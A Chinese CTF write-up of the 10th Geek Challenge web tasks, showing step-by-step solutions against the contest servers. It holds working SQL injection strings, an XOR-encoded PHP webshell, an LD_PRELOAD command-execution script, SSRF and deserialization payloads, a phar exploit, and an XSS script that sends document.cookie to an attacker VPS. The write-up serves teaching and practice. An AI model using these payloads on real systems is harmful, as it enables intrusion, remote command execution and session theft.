0%

第十届极客大挑战Write-up

WEB

打比赛前先撸一只猫!: 猫猫陪我打ctf!

开局一只猫,flag全靠捡 -_-

1571363272606

直接F12 查看源码

1571363339663

直接提交cat=dog

1
http://118.25.14.40:8110/?cat=dog

1571363481025

你看见过我的菜刀么

1571363676296

确实是白给的shell

1571373932241

​ 根目录下发现flag目录下的flag.txt

1571374018594


BurpSuiiiiiit!!!: 拿起你的burp,开始战斗吧

附件下载下来,解压得到Extender.jar文件

从名字和格式看应该BurpSuit的扩展包,用BP导入

1571495641219

1571374457080

​ 导入失败,并提示我们查看errors页面

1571374537984

​ flag直接就出来了

性感潇文清,在线算卦:动作快点才能算到好卦。

输入姓名和生日后,返回了一个路径

1571374815419

直接访问试下

1571374878503

回到主页,查看源码

1571374951634

提示我们条件竞争,从源码看我们输入u和p后,flag会写入到

1
$savepath" . sha1($_GET['u'])

​ 0.1s后再把flag换成 you are too slow

​ 所以我们先一直访问存在flag的这个文件,然后在提交u和p,在flag生成的一瞬间把它读取

​ 直接上burpsuit

1571375619875

1571376044998

​ payload设置为空,数量200个。

1571375724646

1571375756868

​ payload同样为空,数量为1.

​ 2攻击后,3立马攻击

1571375974330

​ 得到flag

Easysql: 最近我做了一个小网站,我把flag放在里面了,不过我没有把登陆密码告诉任何人,所以你们是拿不到flag的!

1571386357741

什么防护都没有

1
2
'='
'='

1571387426532

直接进后台

1571387449879

RCE me: I don’t think U can system RCE, prove to me

这道题学到了很多!

打开网页看看

1571495997995

GET传参code,code中不能有A-Z,a-z,0-9,这些字符,而且字符限制在40个字符

所以我们要先绕过这个限制,执行命令。

参考p神不含数字和字母的webshell

构造脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php
function gen($pl) {
$aa = "";
$bb = "";
for ($j = 0; $j < strlen($pl); $j++) {
for ($i = 0xa0; $i < 0xff; $i++) {
if (preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', chr($i)) == 0) {
$t = chr($i) ^ $pl[$j];
if (preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $t) == 0) {
$aa .= chr($i);
$bb .= $t;
break;
}
}
}
}
return str_replace("%", "\x", urlencode($aa) . "^" . urlencode($bb) . "\r\n");
}
function gen_url($pl) {
$aa = "";
$bb = "";
for ($j = 0; $j < strlen($pl); $j++) {
for ($i = 0xa0; $i < 0xff; $i++) {
if (preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', chr($i)) == 0) {
$t = chr($i) ^ $pl[$j];
if (preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $t) == 0) {
$aa .= chr($i);
$bb .= $t;
break;
}
}
}
}
return urlencode($aa) . "^" . urlencode($bb). "\r\n";
}

echo gen("_GET");
echo gen_url("_GET");


echo "\n";
echo "\xA0\xA0\xA0\xA0"^"\xFF\xE7\xE5\xF4";
echo "\n";

echo "\n";
echo urldecode("%A0%A0%A0%A0")^urldecode("%FF%E7%E5%F4");
echo "\n";

构造如下URl

1
http://114.116.44.23:40001/?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=eval($_GET[a])&a=phpinfo();

或者

1
http://114.116.44.23:40001/?code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=assert&__=eval($_GET[a])&a=phpinfo();

1571497597408

查看某些关键参数

  • ​ 如系统信息

1571499066521

  • disable_functions

1571499768310

命令执行函数都被禁止了

  • allow_url_*

1571498825445

关于这两个参数可以参考这篇文章php伪协议

  • sendmail_*

1571499021494

  • open_basedir

1571500306817

并没有限制我们目录。如果有可以参考这篇文章绕过

既然不能执行命令那就用var_dump(scandir())来查看文件信息

1
http://114.116.44.23:40001/?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=var_dump(eval($_GET[a]))&a=var_dump(scandir(%27/tmp/%27));

1571501644752

但感觉挺麻烦的,后面队友搞了个这个(躺着真舒服 ),直接蚁剑连(菜刀不行)

1
http://114.116.44.23:40001/?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=eval($_POST[%27a%27])

1571502520704

发现主目录下有有flag和readflag,flag只能root才能查看

1571502747158

把readflag下载下来,反编译了一下

1571502795907

那么思路也就清晰起来了,bypass disable_functions 执行readflag

我们这里利用LD_PRELOAD劫持共享库,从而执行命令

具体原理看看出题人的博客bypass_disablefunc_via_LD_PRELOAD

首先上传恶意so文件,上面的github项目中有,注意操作系统位数

1571503296101

并且重命名为123.so

然后上传123.php文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";

$cmd = $_GET["cmd"];
$out_path = $_GET["outpath"];
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";

putenv("EVIL_CMDLINE=" . $evil_cmdline);

$so_path = $_GET["sopath"];
putenv("LD_PRELOAD=" . $so_path);

mail("", "", "", "");

echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";

unlink($out_path);
?>

然后通过include()包含文件,执行系统命令

1
http://114.116.44.23:40001/?code=$_=%22`{{{%22^%22?%3C%3E/%22;${$_}[_](${$_}[__]);&_=assert&__=var_dump(eval($_GET[a]))&a=include(%27/tmp/123.php%27);&cmd=./../../../readflag&outpath=/tmp/123.txt&sopath=/tmp/123.so

1571503618681

李三的代码审计笔记第一页:Talk is easy ,show me the code.

访问题目页面,给了源码

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
 <?php
highlight_file(__FILE__);
error_reporting(E_ALL);
ini_set("max_execution_time", "60");

empty($_GET["url"]) && die();
$password = "If I knew where I would die, I would never go there.";
$arr = explode(' ', $password);

function startsWith($haystack, $needle)
{
$length = strlen($needle);
return (substr($haystack, 0, $length) === $needle);
}

$url = $_GET["url"];

if (!startsWith($url,"http://"))
{
die("Not allow !");
}


for($i=0; $i<count($arr); $i++)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 3);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
$output = curl_exec($ch);
curl_close($ch);

if ($output === $arr[$i])
{
if($i == sizeof($arr)-1)
{
echo "Congratulations. Flag is SYC{********************************}";
}
else
{
continue;
}
}
else
{
die("password is wrong");
}
}

?>

在具有公网IP的服务器上,放置以下两个文件

req.php

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$password = "If I knew where I would die, I would never go there.";
$arr = explode(' ', $password);
$count=intval(file_get_contents("1.txt"));
echo $arr[$count];

$count++;
$file=fopen("1.txt","w+");
fwrite($file,$count);
fclose($file);

?>

1.txt

1
0

image-20191101124245849

1.txt要有可写权限

image-20191101124431268

服务端检测系统:emm,自己看

SSRF还没有写过题目,利用复现学习一下

首先有个admin.php

但要求127.0.0.1才能访问

image-20191211164956360

有index.php的源码,

image-20191211164910208

这里利用index.php SSRF访问admin.php

但要绕过“/anything”

这里可以构造url=http://127.0.0.1/admin.php?&method=GET

这样“/anything” 就成了一个参数

显示failed是因为采用GET请求方式,服务端是不会返回Allow头的,而且这里的SSRF没有回显,只有一个显示响应体长度的语句

image-20191211195729531

1
sprintf("body length of $method%d", $body);

这句 $method可控,所以传入%s% 覆盖后 %s%%d 双百分号返回一个%,但这时 %d 已经是一个字符串

image-20191211202422540

得到admin.php的源码

1
2
3
4
5
6
7
8
if ($_SERVER['REMOTE_ADDR'] == "127.0.0.1") {
show_source(__FILE__);
if (@$_POST["iwantflag"] == "yes") {
echo $flag;
}
} else {
echo "only 127.0.0.1 can visit it";
}

关于HTTP头

1
2
3
4
5
6
7
8
http头的格式:

请求方法 /路径 HTTP/版本
头字段: 值

比如:
GET /index.php HTTP/1.1
Host: 127.0.0.1

http头部的各个字段之间用CRLF(\r\n)(%0d%0a)分割
http请求头(响应头)和请求体(响应体)之间用两个CRLF分割

关于Http请求

get请求:

GET / HTTP/1.1
Host: 127.0.0.1

post请求

POST / HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-from-urlencoded
Content-Length: 3

x=1

http头的字段(常见)
Host

用于多个域名映射到同一个ip时,按照Host的内容匹配不同网站内容,每个Http头必须有Host头
当这个目的主机上只有一个网站,那么Host字段内容可以为任意值

Content-Type

表明内容部分的编码格式和媒体类型 post/put等方式必须有(如果有请求体)

请求头中的Content-Type
GET请求:
GET没有请求实体部分,所以请求头中不需要设置Content-Type字段
POST/PUT请求
如果post/put请求有请求体(有传值),那么必须要设置Content-Type字段(否则服务端可能无法处理你的请求)

第一类:raw原始类型,可以上传任意格式的文本,比如text、json、xml、html…(中文不进行编码)
text请求:Content-Type: text/plain
json请求:Content-Type: application/json
html请求:Content-Type: text/html
第二类:application/x-www-from-urlencoded,会将表单内的数据转换拼接成key-value对(对非ascii码进行编码)
Content-Type: application/x-www-from-urlencoded
第三类:multipart/from-data,将表单的数据处理为一条消息,以标签为单元,用分隔符分开。既可以上传键值对,也可以上传文件。
Content-Type: multipart/from-data;boundary=xxx
在请求体中会有一个Content-Disposition字段,用于描述提交的表单的具体信息

响应头中的Content-Type:
用来告诉客户端,服务端返回的真实内容类型是什么。浏览器或客户端会根据这个值来做一些操作。

Content-Length 表示内容部分的长度 post/put等方式必须有(如果有请求体)

在源码中使用的是stream_context_create()函数发起HTTP请求

这里如http协议头等一些信息,作为一个数组传入。所以我们能利用CRLF构造一个新的POST包

image-20191212220127675

这里我们把url改成自己服务器的ip,看看经过处理后的POST是什么样子。

这个POST包最后也加上了一些字符串,所以为了防止iwantflag参数被污染,所以我们传入第二个参数b

而且为了从index.php得到回显,我们依旧要覆盖 %d 所以id=%s%

还有一点,&在URL中是具有分割参数的作用,所以要进行URL编码

最后的payload如下

image-20191212074711793

Lovelysql:上次是我粗心大意,看来不能直接放在网页上了!

熟悉的界面

image-20191101125127520

同样的手法

1
2
3
=

‘=’

image-20191101201215464

但这个字符串并不是flag,估计在数据库中

利用Payload测试,禁用了 insert,having等,可以利用# 闭合。

可以联合注入,报错注入,盲注。

这里用最简单的联合注入。

先判断字段数

image-20191101202502733

image-20191101202533747

字段数为3

获取回显点

image-20191101203249710

获取数据库名

1
username=1%27union+select+1,2,group_concat(schema_name)+from+information_schema.schemata%23&password=123

image-20191101203821862

先关注geek数据库,查表

1
username=1%27union+select+1,2,group_concat(table_name)+from+information_schema.tables+where+table_schema%3d'geek'%23&password=123

image-20191101204140891

查l0ve1ysq1表的字段

1
username=1%27union+select+1,2,group_concat(column_name)+from+information_schema.columns+where+table_schema%3d'geek'+and+table_name%3d'l0ve1ysq1'%23&password=123

image-20191101204909589

获取数据

1
username=1%27union+select+1,2,group_concat(id,username,password)+from+geek.l0ve1ysq1+%23&password=123

image-20191101213948365

性感黄阿姨,在线聊天:听说她有很多小秘密和表情包哦,当然也有你们最想要的flag!

bp抓包

image-20191031113746614

尝试把guest改成admin

image-20191031114019083

提示我们要绕过这个判断

两个等号,第一时间想到的是php弱类型

利用字符串和数字的比较弱点

md5加密肯定是个字符串,如果第一个字符是字母转化为数字则为0,如果前两个字符是“1w”,那么转化为数字则为1.

所以我们利用name传输数字,爆破md5($flag)前面的数字即可绕过。

在json中,“name”:”0”是字符串,”name”:0 是数字

配置测试器

image-20191031115415135

image-20191031115443975

image-20191031115642982

改成xml形式,Connect-Type改成xml

image-20191031122255387

利用PHP伪协议和base64加密读取文件内容

image-20191031124114147

base64解码得到flag

李三的代码审计笔记第二页

根据题目提示,下载源码

Babysql:成信大的学生真是不得了,这么多黑客,不过这次我做了防御的!

经过测试一些关键字被过滤了,但通过双写可以绕过

1
2
3
4
5
6
7
8
9
username=-1' oorrder bbyy 4-- &password=123 //判断字段

username=1%27ununionion+seselectlect+1,2,group_concat(schema_name)+frfromom+infoorrmation_schema.schemata%23&password=123 //查数据库

username=1%27ununionion+seselectlect+1,2,group_concat(table_name)+frfromom+infoorrmation_schema.tables+whwhereere+table_schema%3d'geek'%23&password=123 //查表

username=1%27ununionion+seselectlect+1,2,group_concat(column_name)+frfromom+infoorrmation_schema.columns+whwhereere+table_schema%3d'geek'+aandnd+table_name%3d'b4bsql'%23&password=123 //查字段

username=1%27union+select+1,2,group_concat(id,username,password)+from+geek.l0ve1ysq1+%23&password=123 //获取数据

神秘的三叶草

image-20191029215131113

查看源码,发现Secret.php

打开Secret.php

image-20191029215545399

直接BP抓包,修改Referer头

image-20191029220046452

提示使用Syclover浏览器

修改UA头

image-20191029220217949

接着提示只能本地读取

修改XFF头

image-20191029220337766

得到flag

Eval evil code: Lamber是个老实人,他会执行你给他的代码。

这里有两个限制

一、提交的恶意代码不能带有参数,二、输入正确的验证码

第二个好解决,直接用md5碰撞脚本

第一个就要利用PHP的丰富的内置函数来构造参数。

image-20191111224322216

接着读取readflag.php

image-20191111224528382

参考skysec的文章

Jiang‘s Secret:我在那放了一个秘密!

打开主页

image-20191029231444787

查看源码

image-20191029231426639

访问Archive_room.php

image-20191029231626206

点击SECRET

image-20191029231659829

尝试BP抓包

image-20191029231743833

访问secr3t.php

image-20191029231920584

简单的代码审计

直接file=flag.php

image-20191029232108090

无法直接读取flag.php文件

利用php伪协议

1
file=php://filter/read=convert.base64-encode/resource=flag.php

image-20191029232338502

base64解码

image-20191029232357758

Hardsql

你有特洛伊么:dGhpcyBpcyBub3QgZWFzeQ==

上传正常的图片

image-20191030232940824

Not image!

尝试修改Content-Type

image-20191030233157391

上传成功,但并没有返回文件路径

盲猜一波upload

image-20191030233348553

正确

尝试上传一句话木马

image-20191030233555540

尝试改后缀

image-20191030233648512

phtml可绕过 但不能出现<?

利用 <script language="php"> 绕过

image-20191030233844611

上传成功

菜刀 连上

image-20191030234008757

image-20191030234111964

Leixiao’s blog: 你会盗号吗??

这道题是直接根据wp复现的,对XSS没有实战过,所以没写出来。

XSS离不开输入框,所以BP抓包,修改各个参数的值,发现密保问题是可控的。所以就构造一个Script的语句,插入到数据库中,之后在重置密码页面,这个Script语句会插入到页面中。如果管理员访问了这个页面,那么我们就能得到管理员的cookie,从而以管理员身份登录。

先注册一个用户,并将密保问题修改成Script语句 "><script src=//0x12345678/1.js>

1.js

1
window.location='http://vps_ip/cookie'+document.cookie;

image-20191117232732259

我们访问dcz123用户的重置密码页面

image-20191117233119467

发现成功跳转了

接下来把

1
http://148.70.59.198:41258/forget.php?username=dcz123

发给report

image-20191117233239962

管理员访问后,就能在访问日志中得到管理员的cookie了

反序列化1.0 : socre10000拿到flag

F12查看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
class Student
{
public $score = 0;
public function __destruct()
{
echo "__destruct working";
if($this->score==10000) {
$flag = "******************";
echo $flag;
}
}
}
$exp = $_GET['exp'];
echo "<br>";
unserialize($exp);

?>

利用反序列化漏洞,使score的值改成10000获得flag

1
2
3
4
5
6
7
8
9
10
1.<?php

class Student{
public $score = 10000;
}
$Student = new Student();
echo serialize($Student);

?>
//O:7:"Student":1:{s:5:"score";i:10000;}

payload:

1
http://148.70.59.198:42374/?exp=O:7:%22Student%22:1:{s:5:%22score%22;i:10000;}

image-20191103221650185

参考文章1

又来一只猫: 我家猫名字叫php

image-20191106232809806

推测应该存在备份文件,盲猜 www.zip

下载后解压,index.php中接受select参数并反序列化。

查看class.php

根据 __destruct()函数 反序列化要使$username=admin,$password=100.

但有个问题要绕过 __wakeup() ,这里可以利用 CVE-2016-7124漏洞,当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行

1
2
3
4
5
6
7
8
9
10
<?php
class Name{
private $username = 'admin';
private $password = '100';
}
$s=new Name();
var_dump(serialize($s));
$payload="O:4:\"Name\":3{s:14:\"\000Name\000username\";s:5:\"admin\";s:14:\"\000Name\000password\";s:3:\"100\";}"; //2->3
var_dump(urlencode($payload));//O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D
?>

最终payload

1
http://118.25.14.40:8109/?select=O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D

image-20191106234145206

参考文章1

参考文章2

你有初恋吗:你变心了吗

打开题目链接

image-20191106163009923

F12查看源码

image-20191106163100753

明显是hash扩展字节攻击

利用BP抓包

image-20191106163553918

得到Heart的值:6a1ce5f4dc83320710006a786ac82c17

利用hashpump得到lover

image-20191106163932674

将得到的字符串进行url编码

1
2
3
4
<php
$str="syclover\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb8\x00\x00\x00\x00\x00\x00\x00nb";
var_dump(urlencode($str));//syclover%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%B8%00%00%00%00%00%00%00nb
?>

将Heart的值修改成2399f812e1a15732dcaadef365b71c19 提交lover

image-20191106164815760

后面看了LiM的文章,枯了。

双URL编码绕过,直接POST提交 lover=syclove%2572 得到flag。

思路太局限了。。。

参考文章1

参考文章2

Finalsql

你读懂潇文清的网站了吗 : xxe

都已经提示xxe了

image-20191112171229906

利用php伪协议读取源码

index.php中的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
error_reporting(0);
include("./config.php");
date_default_timezone_set("PRC");

if(!empty($_POST['submit'])){
$data= $_POST['data'];
if (preg_match("/flag|decode|file|zlib|input|data|http|ftp|#/i",$data)){
echo "no!!!you cant read flag right here!";
exit();
}

$xml = simplexml_load_string($data,'SimpleXMLElement',LIBXML_NOENT);

print($xml);
}

?>

发现包含了config文件

接着读

config.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
class File{
public $filetype;
public $filename;
public function __wakeup(){
echo "wake up ";
var_dump(readfile("php://filter/read=convert.base64-encode/resource=flag.php"));
}

public function check($filetype,$filename){
$filename = $filename;
$filetype = $filetype;

if (($filetype!="image/jpg")&&(substr($filename, strrpos($filename, '.')+1))!= 'jpg') {
echo "只允许上传jpg格式文件";
exit();
}

}

public function upload($filetemp){
$target_file=getcwd()."/uploads/".md5($filetemp+$_SERVER['HTTP_REFERER']).".jpg";
$handle = fopen($filetemp, "r");
$content = '';
while(!feof($handle)){
$content .= fread($handle, 8080);
}
if (preg_match("/xml|#|SYSTEM|DOCTYPE|fliter|uploads|www/i",$content)){
echo "Invalid file!!!!";
exit();
}
fclose($handle);

if (move_uploaded_file($filetemp, $target_file)) {
echo "your file is here:".$target_file;
}
}

}

但index.php并没有把File类实例化。File类中有上传功能的函数,就猜了下upload.php 。还真有。。。

image-20191112234259635

读取upload.php的源码

1
2
3
4
5
6
7
8
9
10
11
12
<?php
error_reporting(0);
include("config.php");

$filename = $_FILES["file"]["name"];
$filetype = $_FILES["file"]["type"];
$filetemp = $_FILES["file"]["tmp_name"];

$file = new File();
$file->check($filetype,$filename);
$file->upload($filetemp);
?>

并没有 unserialize()函数,但根据源码,要触发 __wakeup()函数才能得到flag

这里可以利用phar://协议,触发反序列

exp.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
include("config.php");
//生成对应可被利用的对象
$o = new File();
@unlink("phar.jpg");
$phar = new Phar("phar.jpg");
$phar->startBuffering();
$phar->setStub("JFIF"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加jpg文件头用以欺骗检测
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件 text.txt内容随意
//签名自动计算
$phar->stopBuffering();

?>

将文件上传

image-20191114132547110

利用phar://协议触发序列化

image-20191114132652219

解码得到flag

参考文章1

参考文章2

-------------本文结束感谢您的阅读-------------